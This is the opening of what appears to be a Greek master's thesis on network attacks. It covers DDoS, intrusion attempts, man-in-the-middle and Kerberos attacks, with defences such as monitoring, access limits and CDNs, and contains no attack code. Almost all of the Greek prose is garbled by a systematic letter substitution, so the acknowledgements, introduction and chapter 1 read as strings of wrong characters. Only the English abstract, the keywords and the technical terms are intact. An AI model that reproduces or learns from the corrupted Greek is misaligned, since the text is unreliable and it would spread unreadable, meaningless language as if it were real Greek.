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Δπραξηζηίεο 

 

Με ηελ νινθιήξσζε ηεο κεηαπηπρηαθήο δηπισκαηηθήο κνπ εξγαζίαο, ζα ήζεια λα 

εθθξάζσ ηηο ζεξκέο κνπ επραξηζηίεο ζε όινπο όζνπο ζπλέβαιιαλ ζηελ εθπόλεζή ηεο.  

 

Δπραξηζηώ ζεξκά ηνλ επηβιέπσλ θαζεγεηή κνπ, θύξην Χξήζην Ξελάθε, γηα ηελ 

εκπηζηνζύλε πνπ κνπ έδεημε, αλαζέηνληάο κνπ ην ζπγθεθξηκέλν ζέκα, ηελ 

επηζηεκνληθή ηνπ θαζνδήγεζε θαζώο θαη ηηο ππνδείμεηο ηνπ.  

 

Σέινο, ζα ήζεια εθθξάζσ ηελ επγλσκνζύλε κνπ ζηελ νηθνγέλεηά κνπ γηα όιε ηε 

ζηήξημε, ηε ζπκπαξάζηαζε θαη ηελ θαηαλόεζή ηνπο, θαζ’ όιε ηε δηάξθεηα ησλ 

ζπνπδώλ κνπ. 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 



 

Πεξίιεςε 

 

ηελ ελ ιόγσ κεηαπηπρηαθή εξγαζία, ζα αλαιπζνύλ δηάθνξνη ηύπνη επηζέζεσλ όπσο 

επηζέζεηο DDoS, απόπεηξεο δηείζδπζεο, επηζέζεηο man in the middle θαη επηζέζεηο ζην 

πξσηόθνιιν Kerberos θαζώο θαη ζα εμεηαζηνύλ ηερληθέο θαη ζηξαηεγηθέο γηα ηελ 

αληηκεηώπηζή ηνπο. Η εξγαζία δηεξεπλά αλαιπηηθά απηνύο ηνπο ηύπνπο επηζέζεσλ, 

αλαδεηθλύνληαο ηηο απεηιέο πνπ ππάξρνπλ ζηελ αζθάιεηα ηνπ δηθηύνπ θαη ηελ 

αθεξαηόηεηα ησλ δεδνκέλσλ. Δπηπιένλ, ε εξγαζία εζηηάδεη ζηελ παξνπζίαζε ησλ 

επηζέζεσλ απηώλ κε παξαδείγκαηα θαη ηξόπνπο πνπ πινπνηνύληαη θαζώο εμεηάδεη 

ηερληθέο πνπ κπνξνύλ λα ρξεζηκνπνηεζνύλ. Η αλάιπζε ησλ επηζέζεσλ θαη ε εμέηαζε 

ηνπο γίλεηαη κε ζθνπό λα παξνπζηαζηνύλ θαη ιύζεηο γηα λα απνθεύγνληαη απηέο νη 

επηζέζεηο. Δπνκέλσο αλαιύνληαο ηνλ ηξόπν πνπ γίλνληαη απηέο νη επηζέζεηο ζα 

παξνπζηάδνληαη θαη ιύζεηο γηα ηελ πξνζηαζία από απηέο. θνπόο ηεο εξγαζίαο είλαη 

λα αλαιπζνύλ δηάθνξνη ηύπνη επηζέζεσλ όπσο απηέο πνπ πξναλαθέξζεθαλ θαη λα 

εμεηαζηνύλ ηερληθέο θαη ζηξαηεγηθέο γηα ηελ αληηκεηώπηζή ηνπο παξέρνληαο κηα 

πνιύηηκε εηθόλα ηεο αζθάιεηαο ζηνλ θπβεξλνρώξν θαη ηεο αληίδξαζεο ζε επηζέζεηο. 

 

Λέμεηο Κιεηδηά: Δπηζέζεηο DDoS, Απόπεηξεο δηείζδπζεο, Δπηζέζεηο man in the 

middle, Δπηζέζεηο Session Hijacking, Packet Sniffer, IP Spoofing, Δπηζέζεηο DNS 

Cache Poisoning, Δπηζέζεηο ζην πξσηόθνιιν Kerberos, ASREPRoasting, DCSync, 

Pass the ticket, Pass the hash, Golden ticket. 

 

 

 

 

 

 

 

 

 

 



 

Abstract 

 

In this master's thesis, different types of attacks such as DDoS attacks, infiltration 

attempts, man in the middle attacks and attacks on the Kerberos protocol will be 

analyzed and techniques and strategies to counter them will be considered. The thesis 

delves into these attack types in detail, highlighting the threats they pose to network 

security and data integrity. Furthermore, the thesis focuses on presenting these attacks 

with examples and methods of execution while exploring techniques that can be 

employed. The analysis of these attacks and their examination aim to provide 

solutions for preventing such attacks. Therefore, by dissecting the methods through 

which these attacks occur, solutions for protection against them will also be presented. 

The objective of this thesis is to analyze various types of cyber attacks, including 

those mentioned above, and to examine technical and strategic approaches to counter 

them, offering valuable insights into cyber security and response to attacks. 

 

Keywords: DDoS Attacks, Infiltration Attempts, Man in the middle Attacks, Session 

Hijacking Attacks, Packet Sniffer, IP Spoofing, DNS Cache Poisoning Attacks, 

Kerberos Protocol Attacks, ASREPRoasting, DCSync, Pass the ticket, Pass the hash, 

Golden ticket. 

 

 

 

 

 

 

 

 

 

 

 

 



 

Δηζαγσγή 

 

ηελ επνρή απηή, ην δίθηπν έρεη γίλεη αλαπόζπαζην κέξνο ηεο θαζεκεξηλόηεηάο όισλ 

ησλ αλζξώπσλ. Από ηελ επηθνηλσλία κε θίινπο θαη ζπλαδέιθνπο κέρξη ηελ 

πξόζβαζε ζε πιεξνθνξίεο θαη ππεξεζίεο, ην δίθηπν παίδεη έλαλ νπζηαζηηθό ξόιν. 

Ωζηόζν, κε ηελ αύμεζε ηεο ςεθηαθήο εμάξηεζεο, νη ρξήζηεο είλαη εθηεζεηκέλνη ζε 

δηάθνξεο απεηιέο πνπ έρνπλ ζηόρν ηελ αζθάιεηα θαη ηελ αθεξαηόηεηα ησλ δηθηύσλ. 

ην πιαίζην απηό, απηή ε εξγαζία ζα εμεηάζεη ηελ αλάιπζε θαη ηελ αληηκεηώπηζε 

δηαθόξσλ ηύπσλ επηζέζεσλ ζην δίθηπν, ζπκπεξηιακβαλνκέλσλ ησλ επηζέζεσλ 

DDoS, ησλ απνπεηξώλ δηείζδπζεο, ησλ επηζέζεσλ man-in-the-middle θαζώο θαη 

επηζέζεηο ζην πξσηόθνιιν Kerberos.  

 

Οη επηζέζεηο DDoS (Distributed Denial of Service) απνηεινύλ κηα από ηηο πην 

δηαδεδνκέλεο θαη θαηαζηξνθηθέο απεηιέο ζηνλ θπβεξλνρώξν. Καηά ηε δηάξθεηα κηαο 

επίζεζεο DDoS, θαθόβνπινη ρξήζηεο ρξεζηκνπνηνύλ έλα κεγάιν αξηζκό 

ππνινγηζηώλ γηα λα επηηεζνύλ ζε έλαλ ζηόρν, πξνθαιώληαο ηελ ππεξθόξησζε ηνπ 

δηθηύνπ θαη απνηξέπνληαο ηελ θαλνληθή ιεηηνπξγία ηνπ. Οη επηπηώζεηο ησλ 

επηζέζεσλ DDoS κπνξνύλ λα είλαη θαηαζηξνθηθέο, επεξεάδνληαο ηελ δηαζεζηκόηεηα 

ησλ ππεξεζηώλ θαη πξνθαιώληαο ζεκαληηθέο νηθνλνκηθέο δεκηέο.  

 

Οη απόπεηξεο δηείζδπζεο είλαη κηα άιιε κνξθή επίζεζεο πνπ απεηιεί ηελ αζθάιεηα 

ηνπ δηθηύνπ. Καηά ηε δηάξθεηα απηώλ ησλ επηζέζεσλ, εηζβνιείο πξνζπαζνύλ λα 

εηζέιζνπλ ζε έλα δίθηπν ρσξίο άδεηα, ρξεζηκνπνηώληαο εππάζεηεο ζην ινγηζκηθό ή 

θνηλσληθή κεραληθή. ηόρνο ηνπο είλαη ε πξόζβαζε ζε επαίζζεηεο πιεξνθνξίεο ή ε 

θαηάιεςε ησλ ζπζηεκάησλ γηα θαθόβνπινπο ζθνπνύο. Η αλίρλεπζε θαη ε 

αληηκεηώπηζε ησλ απνπεηξώλ δηείζδπζεο απαηηνύλ ζπλερή παξαθνινύζεζε θαη 

ελεκέξσζε ησλ αζθαιεηώλ ηνπ δηθηύνπ.  

 

Οη επηζέζεηο man-in-the-middle είλαη κηα πην εμεδεηεκέλε κνξθή επίζεζεο όπνπ ν 

θαθόβνπινο εηζβνιέαο εγθαζίζηαηαη αλάκεζα ζηελ επηθνηλσλία κεηαμύ δύν 

ζπζθεπώλ ή ρξεζηώλ. Απηόο ν εηζβνιέαο κπνξεί λα παξαθνινπζεί, λα παξαπνηεί ή 

αθόκε θαη λα αιιάδεη ηα δεδνκέλα πνπ κεηαθέξνληαη κεηαμύ ηνπο, πξνθαιώληαο 

πξνβιήκαηα αζθάιεηαο θαη απώιεηαο εκπηζηνζύλεο.  



 

 

Σν πξσηόθνιιν Kerberos απνηειεί ζεκέιην ιίζν ζηνλ θόζκν ηεο δηθηπαθήο 

αζθάιεηαο, παξέρνληαο έλα παλίζρπξν ζύζηεκα απζεληηθνπνίεζεο γηα ηνπο ρξήζηεο 

θαη ηηο ππεξεζίεο ζε έλα δίθηπν. Παξόια απηά, ε ζεκαληηθόηεηα ηνπ Kerberos ην 

θαζηζηά ζηόρν γηα εμειηγκέλεο θπβεξλνεπηζέζεηο. Καζώο νη επηζέζεηο ζην Kerberos 

εμειίζζνληαη θαη γίλνληαη πην εμεδεηεκέλεο, είλαη θξίζηκν γηα ηνπο δηαρεηξηζηέο 

δηθηύνπ λα θαηαλνήζνπλ ηηο απεηιέο πνπ αληηκεησπίδνπλ.  

 

Από ηηο επηζέζεηο εθκεηάιιεπζεο ηνπ πξσηνθόιινπ κέρξη ηε δεκηνπξγία πιαζηώλ 

εηζηηεξίσλ (tickets), ε αζθάιεηα ηνπ Kerberos απαηηεί ζηαζεξή πξνζνρή θαη 

πξνιεπηηθά κέηξα. ην πιαίζην απηό, απηή ε κειέηε επηθεληξώλεηαη ζηελ εμέηαζε 

ησλ δηαθόξσλ ηύπσλ επηζέζεσλ ζην πξσηόθνιιν Kerberos. Από ηελ αλαζθόπεζε 

ησλ βαζηθώλ αξρώλ ιεηηνπξγίαο ηνπ Kerberos κέρξη ηελ αλάιπζε ησλ πην ζύγρξνλσλ 

επηζέζεσλ πνπ ην ζηνρεύνπλ, ζα δηεξεπλεζεί πώο νη επηζέζεηο απηέο επεξεάδνπλ ηελ 

αζθάιεηα ηνπ δηθηύνπ θαη πώο κπνξνύλ λα αληηκεησπηζηνύλ κε απνηειεζκαηηθό 

ηξόπν. Μέζα από απηήλ ηελ αλάιπζε, ζα απνθαιπθζνύλ πξαθηηθέο ζηξαηεγηθέο θαη 

κέηξα αζθαιείαο πνπ εληζρύνπλ ηελ αλζεθηηθόηεηα ηνπ πξσηνθόιινπ Kerberos θαη 

δηαζθαιίδνπλ ηελ αζθάιεηα ησλ δηθηπαθώλ ππνδνκώλ. 

 

ηελ κεηαπηπρηαθή εξγαζία επνκέλσο, ζα αλαιπζνύλ πην ιεπηνκεξώο δηάθνξνη ηύπνη 

επηζέζεσλ θαη ζα εμεηαζηνύλ ηερληθέο θαη ζηξαηεγηθέο γηα ηελ αληηκεηώπηζή ηνπο. 

Δπίζεο, ζα εμεηαζηεί ν ξόινο ηεο εθπαίδεπζεο θαη ηεο επαηζζεηνπνίεζεο ησλ 

ρξεζηώλ σο κέζν πξνζηαζίαο από απηέο ηηο απεηιέο.  

 

ηνλ ζύγρξνλν ςεθηαθό θόζκν, ε αζθάιεηα ηνπ δηθηύνπ είλαη θαζνξηζηηθήο 

ζεκαζίαο, θαη ε θαηαλόεζε θαη ε αληηκεηώπηζε ησλ επηζέζεσλ απνηεινύλ 

πξνηεξαηόηεηα γηα ηε δηαηήξεζε ηεο αζθάιεηαο θαη ηεο ηδησηηθόηεηαο ησλ ρξεζηώλ 

ζε έλαλ ςεθηαθό θόζκν πνπ εμειίζζεηαη ξαγδαία. 
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Κεθάιαην 1
ν 
: Δηζαγσγηθό Κεθάιαην Δπηζέζεσλ 

 

ηε ζύγρξνλε επνρή, ε ςεθηαθή επηθνηλσλία θαη ε εμάξηεζε από ηελ ηερλνινγία 

έρνπλ αλαδείμεη ηνλ θπβεξλνρώξν σο έλαλ από ηνπο ζεκαληηθόηεξνπο ηνκείο γηα ηελ 

ιεηηνπξγία ηεο θνηλσλίαο, ηεο νηθνλνκίαο θαη ηεο πνιηηηθήο. Ωζηόζν, απηή ε 

εμάξηεζε από ηελ ηερλνινγία δεκηνπξγεί επθαηξίεο γηα δηάθνξνπο ηύπνπο επηζέζεσλ 

ζηνλ θπβεξλνρώξν, νη νπνίεο κπνξνύλ λα απεηιήζνπλ ηελ αζθάιεηα θαη ηελ 

ηδησηηθόηεηα ησλ ρξεζηώλ, ηελ ιεηηνπξγία ησλ νξγαληζκώλ θαη αθόκα θαη ηελ εζληθή 

αζθάιεηα.  

 

ε απηό ην θεθάιαην, ζα αλαιπζνύλ ζε ζεσξεηηθό επίπεδν δηάθνξνη ηύπνη επηζέζεσλ 

ζηνλ θπβεξλνρώξν, όπσο νη επηζέζεηο DDoS, νη απόπεηξεο δηείζδπζεο θαη νη 

επηζέζεηο man in the middle. Δπηπιένλ, ζα εμεηαζηνύλ ηερληθέο θαη ζηξαηεγηθέο πνπ 

κπνξνύλ λα ρξεζηκνπνηεζνύλ γηα ηελ αληηκεηώπηζε θαη ηελ πξόιεςε απηώλ ησλ 

επηζέζεσλ.  

 

Δπηζέζεηο Απόπεηξαο Γηείζδπζεο  

 

Οη απόπεηξεο δηείζδπζεο απνηεινύλ κηα από ηηο πην ζύλζεηεο θαη επηθίλδπλεο 

επηζέζεηο ζηνλ θπβεξλνρώξν. ε απηέο ηηο επηζέζεηο, εηζβνιείο πξνζπαζνύλ λα 

δηεηζδύζνπλ ζηα δίθηπα θαη ηα ζπζηήκαηα κε ζθνπό ηελ παξαβίαζε ηεο αζθάιεηαο 

θαη ηελ πξόζβαζε ζε επαίζζεηεο πιεξνθνξίεο.  

 

Οη ηερληθέο πνπ ρξεζηκνπνηνύληαη πνηθίινπλ, από εθκεηάιιεπζε αδπλακηώλ ζε 

ινγηζκηθό θαη ππεξεζίεο κέρξη θνηλσληθή κεραληθή θαη ςπρνινγηθά ηερλάζκαηα. Γηα 

ηελ αληηκεηώπηζε ησλ απνπεηξώλ δηείζδπζεο, νη εηαηξίεο θαη νη νξγαληζκνί πξέπεη λα 

πηνζεηνύλ κηα ζεηξά πξαθηηθώλ θαη ηερληθώλ κέηξσλ:  

 

 Αζθαιήο Αλάπηπμε Λνγηζκηθνύ: Η επίιπζε γλσζηώλ αδπλακηώλ ζε 

ινγηζκηθά θαη ππεξεζίεο είλαη θξίζηκε. Ο θαηάιιεινο έιεγρνο θαη ε 

ελεκέξσζε ηνπ ινγηζκηθνύ είλαη δσηηθήο ζεκαζίαο.  

 



 

 Παξαθνινύζεζε Γξαζηεξηόηεηαο: Οη εηαηξίεο πξέπεη λα δηαηεξνύλ 

ιεπηνκεξείο θαηαγξαθέο ηεο δηθηπαθήο ηνπο δξαζηεξηόηεηαο γηα ηελ έγθαηξε 

αλίρλεπζε αζπλήζηζησλ πξνζπαζεηώλ δηείζδπζεο.  

 

 Γηθαηώκαηα θαη Πξόζβαζε: Ο πεξηνξηζκόο ησλ δηθαησκάησλ πξόζβαζεο, 

αλάινγα κε ηηο αλάγθεο ησλ ρξεζηώλ, είλαη ζεκαληηθόο παξάγνληαο γηα ηελ 

απνηξνπή απνπεηξώλ δηείζδπζεο.  

 

 Δθπαίδεπζε Πξνζσπηθνύ: Η εθπαίδεπζε ηνπ πξνζσπηθνύ ζρεηηθά κε ηνπο 

θηλδύλνπο θαη ηηο πξαθηηθέο αζθαιείαο είλαη απαξαίηεηε γηα ηελ αλίρλεπζε 

πξνζπαζεηώλ δηείζδπζεο πνπ βαζίδνληαη ζηελ θνηλσληθή κεραληθή.  

 

 Κξππηνγξάθεζε: Η θξππηνγξάθεζε επηθνηλσλίαο κεηαμύ ζπζθεπώλ θαη 

δηθηύσλ βνεζά ζηελ πξνζηαζία επαίζζεησλ δεδνκέλσλ από δηαξξνέο.  

 

 Δλεκέξσζε θαη Καηαλνκή Απεηιώλ: Η ζπλερήο ελεκέξσζε γηα λέεο 

απεηιέο θαη θαθόβνπιν ινγηζκηθό είλαη δσηηθήο ζεκαζίαο γηα ηελ πξόιεςε.  

 

 Δθθίλεζε Δλίζρπζεο: ε πεξίπησζε αλίρλεπζεο πξνζπάζεηαο δηείζδπζεο, 

ακέζσο γίλεηαη δηαδηθαζία κε ζθνπό ηελ απνκόλσζε ηεο πιεγείζαο πεξηνρήο 

θαη ηελ αλάθηεζε ηνπ ζπζηήκαηνο από αληίγξαθα αζθαιείαο. 

(itsecuritypro.gr, 2018 ) 

 

Δλώ ππάξρνπλ πνιινί δηαθνξεηηθνί ηξόπνη κε ηνπο νπνίνπο έλαο εηζβνιέαο κπνξεί λα 

δηεηζδύζεη ζε έλα ζύζηεκα πιεξνθνξηθήο, νη πεξηζζόηεξεο επηζέζεηο ζηνλ 

θπβεξλνρώξν βαζίδνληαη ζε παξόκνηεο ηερληθέο. Παξαθάησ είλαη κεξηθνί από ηνπο 

πην ζπλεζηζκέλνπο ηύπνπο θπβεξλνεπηζέζεσλ:  

1. Καθόβνπιν ινγηζκηθό (Malware)  

2. Ηιεθηξνληθό Ψάξεκα (Phishing)  

3. Δπίζεζε Man-in-the-Middle (MITM)  

4. Δπίζεζε θαηαλεκεκέλεο άξλεζεο ππεξεζίαο (DDoS).  

5. SQL Injection  

6. Zero-day exploit  



 

7. DNS Tunneling  

8. Business Email Compromise (BEC)  

9. Cryptojacking  

10. Cross-site Scripting (XSS) Attacks  

11.  Password θ.α. (Δζληθό CSIRT-CY, 2023) 

 

πκπεξαζκαηηθά νη απόπεηξεο δηείζδπζεο αληηπξνζσπεύνπλ κηα ζνβαξή απεηιή γηα 

ηελ αζθάιεηα ησλ δηθηύσλ. Η επαξθήο πξνεηνηκαζία, ε πξόιεςε θαη ε άκεζε 

αληίδξαζε είλαη πςίζηεο ζεκαζίαο γηα ηελ πξνζηαζία ησλ ςεθηαθώλ πεξηνπζηώλ. 

Μέζσ απζηεξώλ πξαθηηθώλ αζθαιείαο θαη εθπαίδεπζεο ηνπ πξνζσπηθνύ, είλαη 

εθηθηό λα εληζρπζεί ε αλζεθηηθόηεηα ησλ δηθηύσλ θαη λα αληηκεησπηζηνύλ 

απνηειεζκαηηθά νη απεηιέο. 

 

Δπηζέζεηο DDoS (Distributed Denial-of-Service)  

 

ηνπο ππνινγηζηέο, κηα επίζεζε άξλεζεο ππεξεζίαο (επίζεζε DoS) είλαη κηα επίζεζε 

ζηνλ θπβεξλνρώξν θαηά ηελ νπνία ν δξάζηεο επηδηώθεη λα θαηαζηήζεη έλα κεράλεκα 

ή έλαλ πόξν δηθηύνπ κε δηαζέζηκν ζηνπο ρξήζηεο γηα ηνπο νπνίνπο πξννξίδεηαη, 

δηαθόπηνληαο πξνζσξηλά ή επ' αόξηζηνλ ηηο ππεξεζίεο ελόο θεληξηθνύ ππνινγηζηή 

πνπ είλαη ζπλδεδεκέλνο ζε έλα δίθηπν.  

 

Η άξλεζε ηεο ππεξεζίαο ζπλήζσο επηηπγράλεηαη κε ηελ πιεκκύξα ηνπ ζηνρεπόκελνπ 

κεραλήκαηνο ή ηνπ πόξνπ κε πεξηηηά αηηήκαηα ζε κηα πξνζπάζεηα ππεξθόξησζεο 

ησλ ζπζηεκάησλ θαη απνηξνπήο ηεο εθπιήξσζεο νξηζκέλσλ ή όισλ ησλ λόκηκσλ 

αηηεκάησλ (cisa.gov, 2021). ε κηα θαηαλεκεκέλε επίζεζε άξλεζεο ππεξεζίαο 

(επίζεζε DDoS), ε εηζεξρόκελε θίλεζε πνπ θαηαθιύδεη ην ζύκα πξνέξρεηαη από 

πνιιέο δηαθνξεηηθέο πεγέο. Απαηηνύληαη πην εμειηγκέλεο ζηξαηεγηθέο γηα ηνλ 

κεηξηαζκό απηνύ ηνπ ηύπνπ επίζεζεο. Η απιή πξνζπάζεηα απνθιεηζκνύ κηαο κόλν 

πεγήο είλαη αλεπαξθήο θαζώο ππάξρνπλ πνιιέο πεγέο. (kaspersky) 

 

Μηα επίζεζε DoS ή DDoS είλαη αλάινγε κε κηα νκάδα αλζξώπσλ πνπ ζπλσζηίδνληαη 

ζηελ πόξηα εηζόδνπ ελόο θαηαζηήκαηνο, θαζηζηώληαο δύζθνιε ηελ είζνδν ησλ 

λόκηκσλ πειαηώλ, δηαηαξάζζνληαο έηζη ην εκπόξην θαη ράλνληαο ηα ρξήκαηα ηεο 



 

επηρείξεζεο. Οη εγθιεκαηίεο επηζέζεσλ DoS ζπρλά ζηνρεύνπλ ηζηόηνπνπο ή 

ππεξεζίεο πνπ θηινμελνύληαη ζε δηαθνκηζηέο ηζηνύ πςεινύ πξνθίι, όπσο ηξάπεδεο ή 

πύιεο πιεξσκήο κε πηζησηηθή θάξηα. Καηά ηε δηάξθεηα κηαο επίζεζεο DoS θαη 

DDoS, έλαο εηζβνιέαο πξνζπαζεί λα ππεξθνξηώζεη ηνπο δηαθνκηζηέο ή ηελ ππνδνκή 

ελόο ζηόρνπ, πξνθαιώληαο έηζη ηελ αλεπάξθεηα ησλ ππεξεζηώλ ηνπ.  

 

Ο ζηόρνο ηέηνησλ επηζέζεσλ κπνξεί λα είλαη θπβεξλεηηθέο ηζηνζειίδεο, επηρεηξήζεηο, 

νξγαληζκνί ή αθόκα θαη ηδηώηεο.  Η εθδίθεζε, ν εθβηαζκόο (wikipedia.org) θαη ν 

ραθηηβηζκόο κπνξνύλ λα παξαθηλήζνπλ απηέο ηηο επηζέζεηο. 

 

αλ απνηέιεζκα όπσο αλαθέξζεθε, νη επηζέζεηο DDoS είλαη κηα κνξθή επίζεζεο πνπ 

ζηνρεύεη ζην λα αλαγθάζεη έλαλ δηαθνκηζηή, έλαλ ηζηόηνπν ή κηα ππεξεζία λα 

θαηαξξεύζεη ή λα κελ είλαη πξνζβάζηκε από ηνπο ρξήζηεο.  

 

Μηα επίζεζε DDoS ρξεζηκνπνηεί πεξηζζόηεξεο από κία κνλαδηθέο δηεπζύλζεηο IP ή 

κεραλήκαηα, ζπρλά από ρηιηάδεο θεληξηθνύο ππνινγηζηέο πνπ έρνπλ κνιπλζεί κε 

θαθόβνπιν ινγηζκηθό (Khalifeh, Soltanian, Mohammad Reza, 2015). Μηα 

θαηαλεκεκέλε επίζεζε άξλεζεο ππεξεζίαο ζπλήζσο πεξηιακβάλεη πεξηζζόηεξνπο 

από πεξίπνπ 3-5 θόκβνπο ζε δηαθνξεηηθά δίθηπα, ιηγόηεξνη θόκβνη κπνξνύλ λα 

ραξαθηεξηζηνύλ σο επίζεζε DoS, αιιά δελ είλαη επίζεζε DDoS. (Kostadinov, 2018) 

 

Πνιιαπιέο κεραλέο κπνξνύλ λα δεκηνπξγήζνπλ πεξηζζόηεξε θίλεζε επίζεζεο από 

έλα κεράλεκα. Απηό γίλεηαη επεηδή, νη πνιιαπιέο κεραλέο επίζεζεο είλαη πην 

δύζθνιν λα απελεξγνπνηεζνύλ από κηα κεραλή επίζεζεο θαη ε ζπκπεξηθνξά θάζε 

κεραλήο επίζεζεο κπνξεί λα είλαη πην θξπθή, θαζηζηώληαο δπζθνιόηεξν ηνλ 

εληνπηζκό θαη ηνλ ηεξκαηηζκό ιεηηνπξγίαο. Γεδνκέλνπ όηη ε εηζεξρόκελε θίλεζε πνπ 

πιεκκπξίδεη ην ζύκα πξνέξρεηαη από δηαθνξεηηθέο πεγέο, κπνξεί λα είλαη αδύλαην λα 

ζηακαηήζεη ε επίζεζε απιά ρξεζηκνπνηώληαο ην θίιηξν εηζόδνπ. Δπίζεο, θαζηζηά 

δύζθνιε ηε δηάθξηζε ηεο λόκηκεο θίλεζεο ρξεζηώλ από ηελ θίλεζε επηζέζεσλ όηαλ 

θαηαλέκεηαη ζε πνιιά ζεκεία πξνέιεπζεο.  

 

Ωο ελαιιαθηηθή ιύζε ή επαύμεζε ελόο DDoS, νη επηζέζεηο κπνξεί λα πεξηιακβάλνπλ 

παξαπνίεζε δηεπζύλζεσλ απνζηνιέα IP (πιαζηνγξάθεζε δηεπζύλζεσλ IP) πνπ 

πεξηπιέθεη πεξαηηέξσ ηνλ εληνπηζκό θαη ηελ εμνπδεηέξσζε ηεο επίζεζεο. Απηά ηα 



 

πιενλεθηήκαηα ηνπ επηηηζέκελνπ πξνθαινύλ πξνθιήζεηο γηα ηνπο ακπληηθνύο 

κεραληζκνύο. Γηα παξάδεηγκα, ε απιή αγνξά κεγαιύηεξνπ εύξνπο δώλεο 

εηζεξρόκελσλ από ηνλ ηξέρνληα όγθν ηεο επίζεζεο κπνξεί λα κελ βνεζήζεη, επεηδή ν 

εηζβνιέαο κπνξεί απιώο λα πξνζζέζεη πεξηζζόηεξεο κεραλέο επίζεζεο.  

 

Η θιίκαθα ησλ επηζέζεσλ DDoS ζπλέρηζε λα απμάλεηαη ηα ηειεπηαία ρξόληα κέρξη ην 

2016 μεπεξλώληαο ην έλα terabit αλά δεπηεξόιεπην. (DAN GOODIN, 2016) Μεξηθά 

θνηλά παξαδείγκαηα επηζέζεσλ DDoS είλαη ην UDP flooding, ην SYN flooding θαη ε 

ελίζρπζε DNS (Ιmperva, 2022). 

 

Οξηζκέλα ζεκαληηθά ραξαθηεξηζηηθά ησλ επηζέζεσλ DDoS πεξηιακβάλνπλ ηα εμήο: 

1. Καηαλνκή ηνπ Φνξηίνπ: ε απηνύ ηνπ είδνπο ηηο επηζέζεηο, ν επηηηζέκελνο 

ρξεζηκνπνηεί έλα δίθηπν από ζπκκεηέρνληεο ππνινγηζηέο, γλσζηό θαη σο 

"botnet," γηα λα απμήζεη ην θνξηίν πνπ αζθείηαη ζηνλ ζηόρν.  

 

2. Δμάληιεζε Πόξσλ: Ο ζηόρνο ηεο επίζεζεο DDoS είλαη λα εμαληιήζεη ηνπο 

πόξνπο ηνπ ζηόρνπ, όπσο ηελ εύξπζκε ιεηηνπξγία ησλ δηαθνκηζηώλ ή ηε 

δηαζεζηκόηεηα ηεο ηζηνζειίδαο, θαζηζηώληαο ηελ κε πξνζβάζηκε από ηνπο 

ρξήζηεο. 

 

3. Αλσλπκία: Οη επηζέζεηο DDoS ζπλήζσο εθηεινύληαη από εηζβνιείο πνπ 

θξύβνπλ ηελ ηαπηόηεηά ηνπο, θαζηζηώληαο ηνλ εληνπηζκό θαη ηελ 

αληηκεηώπηζή ηνπο δύζθνιν.  

 

4. Πνιινί ηόρνη: Οη επηζέζεηο DDoS κπνξνύλ λα ζηξαθνύλ ελαληίνλ 

δηαθόξσλ ζηόρσλ ηαπηόρξνλα, θάηη πνπ ηηο θαζηζηά επηθίλδπλεο γηα 

εθηεηακέλεο ππνδνκέο.  

 

5. ηνρεπκέλεο Τπεξεζίεο: Οη επηζέζεηο DDoS κπνξνύλ λα επεξεάζνπλ ηε 

δηαζεζηκόηεηα δηαδηθηπαθώλ ππεξεζηώλ, όπσο ηζηνζειίδεο, ειεθηξνληθό 

εκπόξην, θπβεξλεηηθέο ππεξεζίεο θαη πνιιά άιια. 

 



 

 

Δηθόλα 1: Αξρηηεθηνληθή ησλ DDOS επηζέζεσλ (Ισάλλεο ∆αµπνιηάο, 2013) 

 

Σν παξαπάλσ ζρεδηάγξακκα απνηειείηαη από ηέζζεξα ζηνηρεία:  

 

 Σνλ πξαγκαηηθό επηηηζέκελν.  

 

 Σνπο handlers πνπ είλαη νη ππνινγηζηέο ζηνπο νπνίνπο εθηειείηαη έλα εηδηθό 

πξόγξαµµα, ηθαλό λα ειέγρεη πνιιαπινύο agents.  

 

 Σνπο agents ή zombies πνπ είλαη ππνινγηζηέο ζηνπο νπνίνπο εθηειείηαη έλα 

εηδηθό πξόγξαµµα θαη είλαη ππεύζπλνη γηα ηε δεκηνπξγία ξνήο παθέησλ 

πξννξηδόκελεο γηα ην ζύµα. 

 

 Σν ζύµα ή ζύζηεµα - ζηόρν.  

 

Οη DDoS επηζέζεηο βαζίδνληαη ζε δύν θύξηεο κεζόδνπο γηα λα επηηύρνπλ ηελ άξλεζε 

ηεο ππεξεζίαο ηνπ ζύµαηνο πξνο ηνπο “πειάηεο” ηνπ. Η πξώηε εθκεηαιιεύεηαη 

παξαιήςεηο ή ιάζε ζηνλ θώδηθα θάπνηνπ ζπγθεθξηκέλνπ πξσηνθόιινπ επηθνηλσλίαο 

θαη νλνµάδεηαη ζεµαζηνινγηθή, ελώ ε δεύηεξε βαζίδεηαη ζηε γέλεζε κεγάινπ 

πιήζνπο αηηήζεσλ ζύλδεζεο ζηελ ππεξεζία µε ζθνπό λα θαηαζηαζεί απηή µε 

πξνζβάζηκε θαη νλνµάδεηαη “πιεµµύξα” (flooding) (Ισάλλεο ∆αµπνιηάο, 2013). 



 

Οη ακπληηθέο απαληήζεηο ζε επηζέζεηο άξλεζεο ππεξεζίαο ζπλήζσο πεξηιακβάλνπλ 

ηε ρξήζε ελόο ζπλδπαζκνύ εξγαιείσλ αλίρλεπζεο επηζέζεσλ, ηαμηλόκεζεο 

θπθινθνξίαο θαη απόθξηζεο, κε ζηόρν ηνλ απνθιεηζκό ηεο θπθινθνξίαο πνπ ηα 

εξγαιεία πξνζδηνξίδνπλ σο αζέκηηα θαη λα επηηξέςνπλ ηελ θπθινθνξία πνπ 

πξνζδηνξίδνπλ σο λόκηκε (Georgios Loukas and Gulay ¨ Oke, 2010). Μηα ιίζηα 

εξγαιείσλ απόθξηζεο πεξηιακβάλεη ηα αθόινπζα. 

 

Γηα ηελ αληηκεηώπηζε ησλ επηζέζεσλ DDoS, απαηηνύληαη ζύγρξνλεο ιύζεηο όπσο νη 

Content Delivery Networks (CDNs), αληρλεπηέο επηζέζεσλ θαη ε θαηαλνκή θνξηίνπ 

ζε πνιινύο δηαθνκηζηέο.  

 

Οη επηζέζεηο DDoS κπνξεί λα είλαη δύζθνιν λα κεηξηαζηνύλ ζε επηρεηξήζεηο πνπ δελ 

δηαζέηνπλ ηνπο θαηάιιεινπο πόξνπο, όπσο hardware ή επαξθέο bandwidth. Ωζηόζν, 

ππάξρνπλ πξάγκαηα πνπ κπνξνύλ λα θάλνπλ αθόκε θαη νη κηθξέο θαη κεζαίεο 

εηαηξείεο γηα λα απμήζνπλ ηελ πξνζηαζία ηνπο:  

 

 Παξαθνινύζεζε ηεο θπθινθνξίαο ηνπ δηθηύνπ θαη εληνπηζκόο αλσκαιηώλ 

